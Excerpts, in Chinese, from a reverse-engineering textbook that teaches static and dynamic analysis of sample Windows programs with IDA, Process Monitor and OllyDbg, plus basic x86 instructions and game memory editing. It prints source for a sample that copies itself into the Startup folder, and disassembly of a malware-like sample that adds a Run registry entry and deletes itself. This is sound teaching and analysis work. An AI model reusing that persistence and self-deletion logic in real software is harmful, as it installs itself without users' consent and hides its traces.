    {"text": "1.2.2 用二进制编辑器查看文件内容 下面我们用 Stirling 打开 wsample01a.exe 看一看。 ▲ 用 Stirling 打开 wsample01a.exe 的样子 用 Stirling 打开 wsample01a.exe 后，我们可以看到屏幕上显示出一串十六进制字符。"},
    {"text": "这就是 Windows 可执行文件格式，即“PE 格式”的文件内容。 关于 PE 格式的详细信息，可以通过阅读官方文档来搞明白，不过这一次我们还不用了解得那么深入，只要看个大概就行了，不需要理解这些数据的含义。"},
    {"text": "字符串 MESSAGE 和 Hello! Windows 文件路径 C:\\Documents and Settings\\XPMUser\\My Documents\\Visual Studio 2010\\Projects\\wsample01a\\Release\\wsample01a.pdb 字符串 KERNEL32.dll、MessageBoxW 除此之外还有其他一些字符串貌似也能看出什么意思，不过好像又看不太明白，总之现在到这一步就可以了。"},
    {"text": "IDA 6.2 Demo version, IDA 5.0 Freeware version http://www.hex-rays.com/products/ida/support/download.shtml 也许大家印象里觉得汇编语言非常难懂，但其实现在我们有很多功能强大的工具，可以像看流程图一样对软件进行分析。"},
    {"text": "右边有一个名叫 Names window 的窗口，它默认是打开的，如果没有打开的话可以按 Shift+F4 打开，或者也可以点击菜单 View → Open subviews → Names。 在 Names window 窗口的最上方会显示 wWinMain 这个函数名，双击它。"},
    {"text": "▲ 用 IDA 打开 wsample01a.exe（Load a new file） ▲ 用 IDA 打开 wsample01a.exe（分析窗口） 也可以右键点击函数名，从菜单中选择 Text view 或者是 Graph view，用不同的视图来查看代码，默认视图为 Graph view。"},
    {"text": "也许你曾经认为“汇编语言很难懂”，但我们现在有了很多工具，甚至在软件分析中已经几乎用不到汇编语言的知识了，大家看看 IDA 显示出来的汇编语言代码应该就能够明白了。"},
    {"text": "1.2.4 在没有源代码的情况下搞清楚程序的行为 下面我们来看看 wWinMain 函数里面的逻辑，除了 Hello! Windows、MESSAGE、MessageBoxW 等字符串以外，我们还能发现下列字符串。"},
    {"text": "我们尝试在命令行中用 2012 作为参数来运行一下 wsample01a.exe。 ▼ 运行示例 C:\\>wsample01a.exe 2012 ▲ 向 wsample01a.exe 传递参数 2012 后的运行结果 和无参数的情况相比，这次显示出来的消息变成了 Hello! 2012。"},
    {"text": "▼ wsample01a.exe 00401000 ; int __stdcall wWinMain(int,int,LPCWSTR lpString1,int) 00401000 wWinMain proc near 00401000 00401000 lpString1 = dword ptr 10h 00401000 00401000 push ebp 00401001 mov ebp, esp 00401003 mov eax, [ebp+lpString1] 00401006 push offset String2 ; \"2012\" 0040100B push eax ; lpString1 0040100C call ds:__imp__lstrcmpW@8 ; lstrcmpW(x,x) 00401012 push 0 ; uType 00401014 push offset Caption ; \"MESSAGE\" 00401019 test eax, eax 0040101B jnz short loc_401035 0040101D push offset Text ; \"Hello! 2012\" 00401022 call ds:__imp__GetActiveWindow@0 ; GetActiveWindow() 00401028 push eax ; hWnd 00401029 call ds:__imp__MessageBoxW@16 ; MessageBoxW(x,x,x,x) 0040102F xor eax, eax 00401031 pop ebp 00401032 retn 10h ; lpCaption 00401035 loc_401035: 00401035 push offset aHelloWindows ; \"Hello! Windows\" 0040103A call ds:__imp__GetActiveWindow@0 ; GetActiveWindow() 00401040 push eax ; hWnd 00401041 call ds:__imp__MessageBoxW@16 ; MessageBoxW(x,x,x,x) 00401047 xor eax, eax 00401049 pop ebp 0040104A retn 10h 0040104A wWinMain endp 当然，我们没必要看懂全部的汇编语言代码。"},
    {"text": "▼ wsample01a.cpp #include <Windows.h> #include <tchar.h> int APIENTRY _tWinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { if(lstrcmp(lpCmdLine, _T(\"2012\")) == 0){ MessageBox(GetActiveWindow(), _T(\"Hello! 2012\"), _T(\"MESSAGE\"), MB_OK); }else{ MessageBox(GetActiveWindow(), _T(\"Hello! Windows\"), _T(\"MESSAGE\"), MB_OK); } return 0; } 现在大家能够理解 IDA 的反汇编结果是何等容易理解了吧。"},
    {"text": "获取文件和注册表访问日志 抓取网络包 下面我们来分析一下 chap01\\wsample01b\\Release 中的示例程序 wsample01b.exe。 我们先来看一下 wsample01b.exe 的运行结果。 ▲ wsample01b.exe 的运行结果 这个程序看起来只是在屏幕上显示了一条 Copied! 消息，实际上背后发生了什么呢？"},
    {"text": "启动 Procmon.exe 之后，会弹出过滤规则设置窗口，我们在这里设置为 wsample01b.exe。 如果没有弹出过滤规则设置窗口，可以按下 Ctrl+L 或者点击菜单中的 Filter → Filter...。 ▲ 在 Process Monitor 的过滤规则中设置 wsample01b.exe 在过滤规则里面可以进行各种设置。 这里我们希望实现的是“当进程名称为 wsample01b.exe 时输出日志”，设置好之后显示的文字描述如下。 Process Name is wsample01b.exe then Include 输入规则后，按下 Add 按钮，这条规则就会被添加到下面的列表中。 设置完成，点击 OK 关闭设置窗口，然后运行 wsample01b.exe。 ▲ 运行 wsample01b.exe 并输出日志 运行 wsample01b.exe，会弹出一个写着 Copied! 的消息框。"},
    {"text": "通过日志，我们可以看出 wsample01b.exe 访问了以下文件。 C:\\Documents and Settings\\XPMUser\\「开始」菜单 \\ 程序 \\ 启动 \\ wsample01b.exe 和 sample_mal.exe 很像吧？ ▲ 对“启动”文件夹的访问 我们可以打开“启动”文件夹确认一下，里面果然有 wsample01b.exe 文件。 笔者的测试环境是 Windows XP SP3，请大家注意不同环境下“启动”文件夹的名称和位置可能会有所不同。 在 Vista 及更高版本中，“启动”文件夹位于以下位置。"},
    {"text": "C:\\Users\\ 用户名 \\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup 1.3.2 调试器是干什么用的 通过 Process Monitor 我们只能知道上面这些信息，如果要进一步跟踪程序逻辑，我们需要使用调试器。"},
    {"text": "跳入：调用函数时进入函数内部 跳出：调用函数时不进入函数内部，而是将函数调用作为一条指令来执行 最后就是查看寄存器和内存数据了，这个功能可以在程序中断运行的状态下确认寄存器、内存和变量的状态。"},
    {"text": "OllyDbg http://www.ollydbg.de/ 1.3.3 用 OllyDbg 洞察程序的详细逻辑 现在我们将 wsample01b.exe 拖曳到 OllyDbg 的图标上。 ▲ 用 OllyDbg 打开 wsample01b.exe OllyDbg 的画面包括以下几个部分。"},
    {"text": "左上：主要反汇编窗口 左下：内存数据窗口 右上：寄存器 右下：当前栈 这些窗口各自的功能我们可以慢慢学，现在我们先按下面任意方式进行操作，然后在弹出的窗口中输入 00401000，按下 OK 按钮。 在反汇编窗口中按 Ctrl+G 在单击右键弹出的菜单中点击 Go To → Expression ▲ 跳转到地址 00401000 这时，反汇编窗口中会显示出地址 00401000 以后的程序逻辑。"},
    {"text": "00401000 >/$ 55 PUSH EBP 00401001 |. 8BEC MOV EBP,ESP 00401003 |. B8 04200000 MOV EAX,2004 00401008 |. E8 D3080000 CALL wsample0._chkstk 0040100D |. A1 00304000 MOV EAX,DWORD PTR DS:[__security_ cookie] 00401012 |. 33C5 XOR EAX,EBP 00401014 |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX 00401017 |. 68 00100000 PUSH 1000 0040101C |. 8D85 FCDFFFFF LEA EAX,DWORD PTR SS:[EBP-2004] 00401022 |. 50 PUSH EAX ; |PathBuffer 00401023 |. 6A 00 PUSH 0 ; |hModule = NULL 00401025 |. FF15 04204000 CALL DWORD PTR DS:[<GetModuleFileNameW>] 0040102B |. 8D8D FCEFFFFF LEA ECX,DWORD PTR SS:[EBP-1004] 00401031 |. 51 PUSH ECX 00401032 |. 6A 00 PUSH 0 00401034 |. 6A 00 PUSH 0 00401036 |. 6A 07 PUSH 7 00401038 |. 6A 00 PUSH 0 0040103A |. FF15 B4204000 CALL DWORD PTR DS:[<SHGetFolderPathW>] 00401040 |. 68 14214000 PUSH OFFSET \"\\wsample01b.exe\" 00401045 |. 8D95 FCEFFFFF LEA EDX,DWORD PTR SS:[EBP-1004] 0040104B |. 52 PUSH EDX ; |ConcatString 0040104C |. FF15 08204000 CALL DWORD PTR DS:[<lstrcatW>] 00401052 |. 6A 00 PUSH 0 ; /FailIfExists = FALSE 00401054 |. 8D85 FCEFFFFF LEA EAX,DWORD PTR SS:[EBP-1004] 0040105A |. 50 PUSH EAX ; |NewFileName 0040105B |. 8D8D FCDFFFFF LEA ECX,DWORD PTR SS:[EBP-2004] 00401061 |. 51 PUSH ECX ; |ExistingFileName 00401062 |. FF15 00204000 CALL DWORD PTR DS:[<CopyFileW>] 00401068 |. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] 0040106B |. 33CD XOR ECX,EBP 0040106D |. 33C0 XOR EAX,EAX 0040106F |. E8 2F000000 CALL wsample0.__security_check_cookie 00401074 |. 8BE5 MOV ESP,EBP 00401076 |. 5D POP EBP 00401077 \\. C3 RETN 也许你会问：“我看不懂这些汇编代码，是不是没办法继续分析了呢？"},
    {"text": "我们发现程序依次调用了 GetModuleFileNameW、SHGetFolderPathW、lstrcatW、CopyFileW 这几个函数。 回想一下，刚才我们用 Process Monitor 已经发现程序会向“启动”文件夹复制文件，我们可以推测“上面的 CopyFileW 函数就是用来执行这一操作的”。"},
    {"text": "这时，OllyDbg 会启动 wsample01b.exe，当到达断点所在的 00401000 位置时，程序会暂停运行。 ▲ 程序在 00401000 的断点处暂停运行 接下来，我们可以通过单步运行，逐条运行程序中的指令。"},
    {"text": "专栏：什么是寄存器 寄存器是位于 CPU 内部的存储空间，每个寄存器都有自己的名字，分别叫作 EAX、ECX、EDX、EBX、ESP、EBP、ESI、EDI、EIP。"},
    {"text": "OllyDbg 右上方的寄存器窗口中会显示当前所有寄存器的值。 ▲ OllyDbg 的寄存器窗口 如果我们在 OllyDbg 中按下 F8 或者 F7，程序就会执行一条指令，这时我们可以看到 EIP 的值会根据所执行指令的长度不断增加。"},
    {"text": "若 ZF为1 则跳转 若 CF 为 1 则不跳转 基本上只要理解了 EAX、ECX、EDX、EBX、ESP、EBP、ESI、EDI、EIP 以及各个标志寄存器的作用，我们就可以进行软件分析了。"},
    {"text": "1.3.5 将分析结果与源代码进行比较 最后，我们照例会列出 wsample01b.exe 的源代码，大家可以将自己分析的结果以及头脑中设想的程序逻辑与源代码进行比较。 ▼ wsample01b.cpp #include <Windows.h> #include <tchar.h> #include <shlobj.h> int cpy(void) { // 获取自身文件路径 TCHAR szThis[2048]; GetModuleFileName(NULL, szThis, sizeof(szThis)); // 获取“启动”文件夹路径 TCHAR szStartup[2048]; SHGetFolderPath(NULL, CSIDL_STARTUP, NULL, SHGFP_TYPE_CURRENT, szStartup); lstrcat(szStartup, _T(\"\\\\wsample01b.exe\")); // 将自身复制到“启动”文件夹 CopyFile(szThis, szStartup, FALSE); return 0; } int APIENTRY _tWinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { cpy(); MessageBox(GetActiveWindow(), _T(\"Copied!\"), _T(\"MESSAGE\"), MB_OK); return 0; } 在软件分析中，我们需要按照目的和需要选择使用静态分析还是动态分析。"},
    {"text": "从分类的角度来看，静态分析和动态分析的区别在于“是否运行目标程序”，但从笔者个人感觉来看，静态分析比较偏向于“总览全局”，而动态分析则比较偏向于“细看局部”。"},
    {"text": "OllyDbg http://www.ollydbg.de/ Immunity Debugger <http://www.immunitysec.com/products-immdbg.shtml. WinDbg（32 位版本） http://msdn.microsoft.com/zh-cn/windows/hardware/gg463016 WinDbg（64 位版本） http://msdn.microsoft.com/zh-cn/windows/hardware/gg463012 其中 OllyDbg 是一个非常流行的工具，Immunity Debugger 也和 OllyDbg 一样具备图形用户界面。 由于 Immunity Debugger 和 Python 的亲和性较高，因此受到 Python 爱好者的欢迎，但笔者只用过 OllyDbg 和 WinDbg，因此对 Immunity Debugger 并不熟悉（汗）。"},
    {"text": "1.4 学习最基础的汇编指令 1.4.1 没必要记住所有的汇编指令 通过实际尝试静态分析和动态分析，相信大家已经对软件分析是怎么一码事有了一些了解。"},
    {"text": "和一般编程语言的保留字相比，汇编语言的指令数量多得离谱，因为只有记住将近 1000 条指令才能编写出像样的程序，难怪想学汇编的人少得可怜。"},
    {"text": "不过，说实在的，在逆向工程中需要用到的汇编语言知识并没有那么多。 正如 Windows 程序员没必要记住所有的 Windows API 函数一样，做逆向工程也没必要记住太多的汇编指令，遇到不会的指令查一下就行了，实际上我们需要掌握的指令也就是 20 ～ 50 条左右。 下面我们就来讲解一下逆向工程所需要掌握的汇编指令，并简单介绍一下 CPU 的工作原理。"},
    {"text": "▼ 常用汇编指令 指令 示例 含义 说明 MOV MOV EAX,ECX EAX = ECX 将 ECX 的值存入 EAX ADD ADD EAX,ECX EAX += ECX 将 EAX 的值加上 ECX 的值 SUB SUB EAX,ECX EAX -= ECX 将 EAX 的值减去 ECX 的值 INC INC EAX EAX++ 将 EAX 的值加 1 DEC DEC EAX EAX-- 将 EAX 的值减 1 LEA LEA EAX,[ECX+4] EAX = ECX+4 将 ECX+4 的值存入 EAX CMP CMP EAX,ECX if(EAX == ECX) ZF=1 else ZF=0 对两个值进行比较并根据结果设置标志 若 EAX 与 ECX 相同，则 ZF=1 若 EAX 与 ECX 不同，则 ZF=0 TEST TEST EAX,EAX if(EAX == 0) ZF=1 else ZF=0 将值与 0 进行比较并根据结果设置标志 若 EAX 为 0，则 ZF=1 若 EAX 不为 0，则 ZF=0 JE(JZ) JE 04001000 if(ZF==1) GOTO 04001000 若 ZF 为 1，则跳转到 04001000 JNE(JNZ) JNE 04001000 if(ZF==0) GOTO 04001000 若 ZF 为 0，则跳转到 04001000 JMP JMP 04001000 GOTO 04001000 无条件跳转到 04001000 CALL CALL lstrcmpW 调用 lstrcmpW PUSH PUSH 00000001 将 00000001 入栈 POP POP EAX 出栈并将获取的值存入 EAX 1.4.2 汇编语言是如何实现条件分支的 如果有一定的编程经验，看了上面这张表应该能理解一半以上的指令。"},
    {"text": "▼ wsample01a.exe 00401000 ; int __stdcall wWinMain(int,int,LPCWSTR lpString1,int) 00401000 wWinMain proc near 00401000 00401000 lpString1 = dword ptr 10h 00401000 00401000 push ebp 00401001 mov ebp, esp 00401003 mov eax, [ebp+lpString1] 00401006 push offset String2 ; \"2012\" 0040100B push eax ; lpString1 0040100C call ds:__imp__lstrcmpW@8 ; lstrcmpW(x,x) 00401012 push 0 ; uType 00401014 push offset Caption ; \"MESSAGE\" 00401019 test eax, eax 比较 0040101B jnz short loc_401035 条件分支 0040101D 显示Hello! 2012 0040101D push offset Text ; \"Hello! 2012\" 00401022 call ds:__imp__GetActiveWindow@0 ; GetActiveWindow() 00401028 push eax ; hWnd 00401029 call ds:__imp__MessageBoxW@16 ; MessageBoxW(x,x,x,x) 0040102F xor eax, eax 00401031 pop ebp 00401032 retn 10h ; lpCaption 00401035 loc_401035: 显示Hello! Windows 00401035 push offset aHelloWindows ; \"Hello! Windows\" 0040103A call ds:__imp__GetActiveWindow@0 ; GetActiveWindow() 00401040 push eax ; hWnd 00401041 call ds:__imp__MessageBoxW@16 ; MessageBoxW(x,x,x,x) 00401047 xor eax, eax 00401049 pop ebp 0040104A retn 10h 0040104A wWinMain endp 其中在 0040101B 的地方出现了一个 jnz 指令，这就是分支所在的位置。"},
    {"text": "▼ C 语言中的函数调用 function(1, 2, 3); ▼ 汇编语言中的函数调用 push 3 push 2 push 1 call function 在汇编语言中，参数是按照从后往前的顺序入栈的，其实这方面的规则会根据 CPU 和编译器的不同而存在一些差异，大家只要记住“参数是通过栈来传递的”就可以了。"},
    {"text": "00401006 push offset String2 ; \"2012\" 0040100B push eax ; lpString1 0040100C call ds:__imp__lstrcmpW@8 ; lstrcmpW(x,x) 如果改写成 C 语言会是什么样的呢？"},
    {"text": "▼ wsample01b.exe 00401000 cpy 00401000 ExistingFileName= word ptr -2004h 00401000 NewFileName = word ptr -1004h 00401000 var_4 = dword ptr -4 00401000 00401000 push ebp 00401001 mov ebp, esp 00401003 mov eax, 2004h 00401008 call _chkstk 0040100D mov eax, __security_cookie 00401012 xor eax, ebp 00401014 mov [ebp+var_4], eax 00401017 push 1000h ; nSize 0040101C lea eax, [ebp+ExistingFileName] 00401022 push eax ; lpFilename 00401023 push 0 ; hModule 00401025 call GetModuleFileNameW 0040102B lea ecx, [ebp+NewFileName] 00401031 push ecx 00401032 push 0 00401034 push 0 00401036 push 7 00401038 push 0 0040103A call SHGetFolderPathW 00401040 push offset String2 ; \"\\\\wsample01b.exe\" 00401045 lea edx, [ebp+NewFileName] 0040104B push edx ; lpString1 0040104C call lstrcatW 00401052 push 0 ; bFailIfExists 00401054 lea eax, [ebp+NewFileName] 0040105A push eax ; lpNewFileName 0040105B lea ecx, [ebp+ExistingFileName] 00401061 push ecx ; lpExistingFileName 00401062 call CopyFileW 00401068 mov ecx, [ebp+var_4] 0040106B xor ecx, ebp 0040106D xor eax, eax 0040106F call __security_check_cookie 00401074 mov esp, ebp 00401076 pop ebp 00401077 retn 00401077 cpy endp 00401077 00401080 wWinMain 00401080 call cpy 00401085 push 0 ; uType 00401087 push offset Caption ; \"MESSAGE\" 0040108C push offset Text ; \"Copied!\" 00401091 call GetActiveWindow 00401097 push eax ; hWnd 00401098 call MessageBoxW 0040109E xor eax, eax 004010A0 retn 10h 004010A0 wWinMain endp 感觉如何？"},
    {"text": "lea eax, [ebp+ExistingFileName] 中 ExistingFileName 的前面有一个 ebp+，这个请大家暂且忽略，只要理解为“将 ExistingFileName 的地址存放到 eax”就可以了。"},
    {"text": "char ExistingFileName[2048]; eax = ExistingFileName; 到这里，相信大家已经能够看懂 wsample01a.exe 和 wsample01b.exe 中大约七八成的汇编代码了，对于理解程序的大致逻辑来说已经足够了。"},
    {"text": "1.5 通过汇编指令洞察程序行为 1.5.1 给函数设置断点 在本章的开头我们已经对 sample_mal.exe 进行过分析，在本章最后，我们来运用本章所学的知识重新分析一下这个程序，通过汇编指令来洞察程序的行为。"},
    {"text": "▲ CopyFileA 函数返回的地方 ▲ RegCreateKeyExA 函数返回的地方 请大家看一下调用各函数附近的代码，就能够看明白程序是如何进行复制文件、写入注册表等操作的了。"},
    {"text": "▼ sample_mal.exe .text:004013C2 push 400h ; nSize .text:004013C7 lea eax, [esp+85Ch+ExistingFileName] .text:004013CE push eax ; lpFilename .text:004013CF push ecx ; hModule .text:004013D0 call ds:__imp__GetModuleFileNameA@12 .text:004013D6 mov esi, ds:__imp__SHGetSpecialFolderPathA@16 .text:004013DC push 0 ; fCreate .text:004013DE push 7 ; nFolder .text:004013E0 lea ecx, [esp+860h+Data] .text:004013E4 push ecx ; lpszPath .text:004013E5 push 0 ; hwndOwner .text:004013E7 call esi ; SHGetSpecialFolderPathA(x,x,x,x) .text:004013E9 mov edi, ds:__imp__lstrcatA@8 .text:004013EF push offset String2 ; \"\\\\0.exe\" .text:004013F4 lea edx, [esp+85Ch+Data] .text:004013F8 push edx ; lpString1 .text:004013F9 call edi ; lstrcatA(x,x) ; lstrcatA(x,x) .text:004013FB mov ebx, ds:__imp__CopyFileA@12 .text:00401401 push 0 ; bFailIfExists .text:00401403 lea eax, [esp+85Ch+Data] .text:00401407 push eax ; lpNewFileName .text:00401408 lea ecx, [esp+860h+ExistingFileName] .text:0040140F push ecx ; lpExistingFileName .text:00401410 call ebx ; CopyFileA(x,x,x) .text:00401412 push 0 ; fCreate .text:00401414 push 5 ; nFolder .text:00401416 lea edx, [esp+860h+Data] .text:0040141A push edx ; lpszPath .text:0040141B push 0 ; hwndOwner .text:0040141D call esi ; SHGetSpecialFolderPathA(x,x,x,x) .text:0040141F push offset a1_exe ; \"\\\\1.exe\" .text:00401424 lea eax, [esp+85Ch+Data] .text:00401428 push eax ; lpString1 .text:00401429 call edi ; lstrcatA(x,x) ; lstrcatA(x,x) .text:0040142B push 0 ; bFailIfExists .text:0040142D lea ecx, [esp+85Ch+Data] .text:00401431 push ecx ; lpNewFileName .text:00401432 lea edx, [esp+860h+ExistingFileName] .text:00401439 push edx ; lpExistingFileName .text:0040143A call ebx ; CopyFileA(x,x,x) .text:0040143C lea eax, [esp+858h+Data] .text:00401440 lea edx, [eax+1] .text:00401443 .text:00401443 loc_401443: .text:00401443 mov cl, [eax] .text:00401445 inc eax .text:00401446 test cl, cl .text:00401448 jnz short loc_401443 .text:0040144A sub eax, edx .text:0040144C push eax ; cbData .text:0040144D lea eax, [esp+85Ch+Data] .text:00401451 push eax ; lpData .text:00401452 call SetRegValue .text:00401457 add esp, 8 .text:0040145A call SelfDelete .text:0040145F push 0 ; nExitCode .text:00401461 call ds:__imp__PostQuitMessage@4 .text:00401467 jmp loc_40151F IDA 会显示出调用的函数名和参数，是不是十分易懂呢？"},
    {"text": "请大家注意最后 00401452 处的 SetRegValue 函数以及 0040145A 处的 SelfDelete 函数，它们分别用来设置注册表值以及将自身删除，下面我们分别来看一下。"},
    {"text": "▼ sample_mal.exe（SetRegValue） .text:00401310 ; int __cdecl SetRegValue(BYTE *lpData,DWORD cbData) .text:00401310 SetRegValue proc near .text:00401310 .text:00401310 dwDisposition = dword ptr -8 .text:00401310 hKey = dword ptr -4 .text:00401310 lpData = dword ptr 8 .text:00401310 cbData = dword ptr 0Ch .text:00401310 .text:00401310 push ebp .text:00401311 mov ebp, esp .text:00401313 sub esp, 8 .text:00401316 push esi .text:00401317 lea eax, [ebp+dwDisposition] .text:0040131A push eax ; lpdwDisposition .text:0040131B xor esi, esi .text:0040131D lea ecx, [ebp+hKey] .text:00401320 push ecx ; phkResult .text:00401321 push esi ; lpSecurityAttributes .text:00401322 push 0F003Fh ; samDesired .text:00401327 push esi ; dwOptions .text:00401328 push offset Class ; lpClass .text:0040132D push esi ; Reserved .text:0040132E push offset SubKey ; \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersi\"... .text:00401333 push 80000002h ; hKey .text:00401338 mov [ebp+hKey], esi .text:0040133B call ds:__imp__RegCreateKeyExA@36 .text:00401341 test eax, eax .text:00401343 jnz short loc_401370 .text:00401345 mov edx, [ebp+cbData] .text:00401348 mov eax, [ebp+lpData] .text:0040134B mov ecx, [ebp+hKey] .text:0040134E push edx ; cbData .text:0040134F push eax ; lpData .text:00401350 push 1 ; dwType .text:00401352 push esi ; Reserved .text:00401353 push offset ValueName ; \"sample_mal\" .text:00401358 push ecx ; hKey .text:00401359 call ds:__imp__RegSetValueExA@24 .text:0040135F test eax, eax .text:00401361 jnz short loc_401366 .text:00401363 lea esi, [eax+1] .text:00401366 .text:00401366 loc_401366: .text:00401366 mov edx, [ebp+hKey] .text:00401369 push edx ; hKey .text:0040136A call ds:__imp__RegCloseKey@4 .text:00401370 .text:00401370 loc_401370: .text:00401370 mov eax, esi .text:00401372 pop esi .text:00401373 mov esp, ebp .text:00401375 pop ebp .text:00401376 retn ▼ sample_mal.exe（SelfDelete） .text:00401220 SelfDelete proc near .text:00401220 .text:00401220 Parameters = byte ptr -20Ch .text:00401220 File = byte ptr -108h .text:00401220 var_4 = dword ptr -4 .text:00401220 .text:00401220 push ebp .text:00401221 mov ebp, esp .text:00401223 sub esp, 20Ch ; lpString1 .text:00401229 mov eax, __security_cookie .text:0040122E xor eax, ebp .text:00401230 mov [ebp+var_4], eax .text:00401233 push 104h ; nSize .text:00401238 lea eax, [ebp+File] .text:0040123E push eax ; lpFilename .text:0040123F push 0 ; hModule .text:00401241 call ds:__imp__GetModuleFileNameA@12 .text:00401247 test eax, eax .text:00401249 jz loc_4012F3 .text:0040124F push 104h ; cchBuffer .text:00401254 lea ecx, [ebp+File] .text:0040125A push ecx ; lpszShortPath .text:0040125B mov edx, ecx .text:0040125D push edx ; lpszLongPath .text:0040125E call ds:__imp__GetShortPathNameA@12 .text:00401264 test eax, eax .text:00401266 jz loc_4012F3 .text:0040126C push esi .text:0040126D push offset aCDel ; \"/c del \" .text:00401272 lea eax, [ebp+Parameters] .text:00401278 push eax ; lpString1 .text:00401279 call ds:__imp__lstrcpyA@8 .text:0040127F mov esi, ds:__imp__lstrcatA@8 .text:00401285 lea ecx, [ebp+File] .text:0040128B push ecx ; lpString2 .text:0040128C lea edx, [ebp+Parameters] .text:00401292 push edx ; lpString1 .text:00401293 call esi ; lstrcatA(x,x) ; lstrcatA(x,x) .text:00401295 push offset aNul ; \" >> NUL\" .text:0040129A lea eax, [ebp+Parameters] .text:004012A0 push eax ; lpString1 .text:004012A1 call esi ; lstrcatA(x,x) ; lstrcatA(x,x) .text:004012A3 push 104h ; nSize .text:004012A8 lea ecx, [ebp+File] .text:004012AE push ecx ; lpBuffer .text:004012AF push offset Name ; \"ComSpec\" .text:004012B4 call ds:__imp__GetEnvironmentVariableA@12 .text:004012BA pop esi .text:004012BB test eax, eax .text:004012BD jz short loc_4012F3 .text:004012BF push 0 ; nShowCmd .text:004012C1 push 0 ; lpDirectory .text:004012C3 lea edx, [ebp+Parameters] .text:004012C9 push edx ; lpParameters .text:004012CA lea eax, [ebp+File] .text:004012D0 push eax ; lpFile .text:004012D1 push 0 ; lpOperation .text:004012D3 push 0 ; hwnd .text:004012D5 call ds:__imp__ShellExecuteA@24 .text:004012DB cmp eax, 20h .text:004012DE jle short loc_4012F3 .text:004012E0 mov eax, 1 .text:004012E5 mov ecx, [ebp+var_4] .text:004012E8 xor ecx, ebp .text:004012EA call __security_check_cookie .text:004012EF mov esp, ebp .text:004012F1 pop ebp .text:004012F2 retn .text:004012F3 .text:004012F3 loc_4012F3: .text:004012F3 mov ecx, [ebp+var_4] .text:004012F6 xor ecx, ebp .text:004012F8 xor eax, eax .text:004012FA call __security_check_cookie .text:004012FF mov esp, ebp .text:00401301 pop ebp .text:00401302 retn 大家看了这些汇编代码，能不能大概联想出程序的逻辑呢？"},
    {"text": "汇编语言也是一种编程语言，平常大家也不会去一行一行地仔细阅读别人写的大量代码，除了必须要理解的重要部分花时间仔细读一读，剩下的部分基本都是一带而过，只要大体上理解程序在做什么事就好了。"},
    {"text": "然而，“尽管会写但却不会读”这样的事情好像谁都没听说过。 “会写小说，但是不会读小说”“会写 C 语言代码，但不会读”这样的情况好像不大可能发生。"},
    {"text": "▼ hello32.asm extern MessageBoxA section .text global main main: push dword 0 push dword title push dword text push dword 0 call MessageBoxA ret section .data title: db 'MessageBox', 0 text: db 'Hello World!', 0 MessageBoxA 需要以下 4 个参数。"},
    {"text": "MessageBox https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505.aspx 尽管 Windows API 并不是汇编语言的本质部分，但我们现在在 Windows 环境下进行测试，因此不可避免地要使用 Windows API，大家知道去哪里查询相关信息就可以了。"},
    {"text": "成功生成可执行文件后，屏幕上应该会显示 Generating PE file hello32.exe。 ▼ 运行示例 C:\\>nasm -fwin32 hello32.asm C:\\>alink -oPE hello32 win32.lib -entry main 省略 Generating PE file hello32.exe 可执行文件生成之后，直接双击它就可以运行了，这时屏幕上应该会显示出一个写着 Hello World! 的消息框。 ▲ 用 OllyDbg 打开 hello32.exe 下面我们用 OllyDbg 来打开刚刚生成的 hello32.exe，打开后各窗口会显示以下信息。"},
    {"text": "左上方的反汇编窗口：显示刚刚我们编写的汇编指令 左下方的内存窗口：显示 section.data 之后存放的数据 当逐一执行这些指令时，每执行一次 push 指令，右下方的栈窗口中就会显示出刚刚入栈的值。"},
    {"text": "第 2 章 在射击游戏中防止玩家作弊 反汇编器、调试器这些工具，原本都是用来提高查找 bug 的效率的，然而因为它们能够在机器语言层面对软件进行分析，因此也被用来破解软件。"},
    {"text": "“破解”（cracking）这个词的涵义十分宽泛，在游戏中作弊也可以算作破解，例如在网络游戏中修改二进制数据（修改内存）使自己无敌，或者复制稀有道具等。"},
    {"text": "空格键：射击 ←键：向左移动 →键：向右移动 ↑键：填充能量（以当前得分为上限） ↓键：时间停止（消费能量） 用左右键移动，用空格键射击，这些操作和一般的射击游戏一模一样。"},
    {"text": "——译者注 兔耳旋风 http://hp.vector.co.jp/authors/VA028184/#TOOL http://www.vector.co.jp/soft/win95/prog/se375830.html 在运行射击游戏的同时，打开兔耳旋风，然后从进程列表中选择 shooting.exe。"},
    {"text": "点击菜单中的“デバッグ”（调试）→“スレッド別レジスタ表示”（按线程显示寄存器值）。 ▲ 按线程显示寄存器值 选择类型为“通常”、优先度为“8”的线程，然后查看 ESP 的值。"},
    {"text": "点击菜单中的“検索”（检索）→“メモリ範囲を指定して、検索”（指定内存范围检索） 按 Alt+F 键 ▲ 范围检索窗口 在对话框中进行如下设置。 “検査·比較単位”（检索、比较单位）：4 字节 “数値”（数值）：29 “開始アドレス”（起始地址）：0012FC74 “範囲”（范围）：先填 1000 就好 然后按下“通常検索実行”（执行通常检索）按钮开始搜索。"},
    {"text": "这时，右边的列表中显示出 0012FD88 这一地址，看来 29 这个数值的确被保存在内存中的某个地方。 顺便说一句，内存中可能会搜索出不止一个 29。"},
    {"text": "2.1.3 获取内存转储 刚才我们修改了一个示例游戏的内存数据，除此之外我们还可以将内存数据保存成文件，这被称为“内存转储”（memory dump）。 随着程序（游戏）的运行，内存中的数据会不断实时变化，如果要保存某个时间点的状态（快照），我们就需要内存转储。"},
    {"text": "▲ 生成转储文件 1 ▲ 生成转储文件 2 尽管操作系统会按照可执行文件中的内容将程序加载到内存中，但内存中的数据与可执行文件中的数据并不完全相同，大家可以用二进制编辑器来确认一下。"},
    {"text": "► 在 Windows XP 及以下版本的系统中生成内存转储 Windows XP 及更低版本的系统中自带了一个叫作 Dr. Watson 的内存转储工具，不过遗憾的是，在 Windows Vista 及以上版本中，这一工具已经被去掉了。"},
    {"text": "准确地说，这是一个当进程异常终止时将内存数据和简单日志保存到文件中的工具，在没有安装调试器或开发工具的环境中可以帮助快速查找程序崩溃的原因，因此曾经受到很多开发者的青睐。"},
